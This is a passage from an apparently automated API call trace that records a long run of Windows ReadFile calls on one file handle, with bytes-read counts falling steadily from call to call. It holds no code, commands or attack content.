lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x55e, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x556, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x54e, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x546, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x53e, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x536, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x52e, lpOverlapped=0x0) returned 1 [0031.916] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x526, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x51e, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x516, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x50e, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x506, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4fe, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4f6, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4ee, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4e6, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4de, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4d6, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4ce, lpOverlapped=0x0) returned 1 [0031.917] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4c6, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4be, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4b6, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4ae, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4a6, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x49e, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x496, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x48e, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x486, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x47e, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x476, lpOverlapped=0x0) returned 1 [0031.918] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x46e, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x466, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x45e, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x456, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x44e, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x446, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x43e, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x436, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x42e, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x426, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x41e, lpOverlapped=0x0) returned 1 [0031.919] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x416, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x40e, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x406, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3fe, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3f6, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3ee, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3e6, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3de, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3d6, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3ce, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3c6, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3be, lpOverlapped=0x0) returned 1 [0031.920] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3b6, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3ae, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3a6, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x39e, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x396, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x38e, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x386, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x37e, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x376, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x36e, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x366, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x35e, lpOverlapped=0x0) returned 1 [0031.921] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x356, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x34e, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x346, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x33e, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x336, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x32e, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x326, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x31e, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x316, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x30e, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x306, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2fe, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2f6, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2ee, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2e6, lpOverlapped=0x0) returned 1 [0031.922] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2de, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2d6, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2ce, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2c6, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2be, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2b6, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2ae, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2a6, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x29e, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x296, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x28e, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x286, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x27e, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x276, lpOverlapped=0x0) returned 1 [0031.923] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x26e, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x266, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x25e, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x256, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x24e, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x246, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x23e, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x236, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x22e, 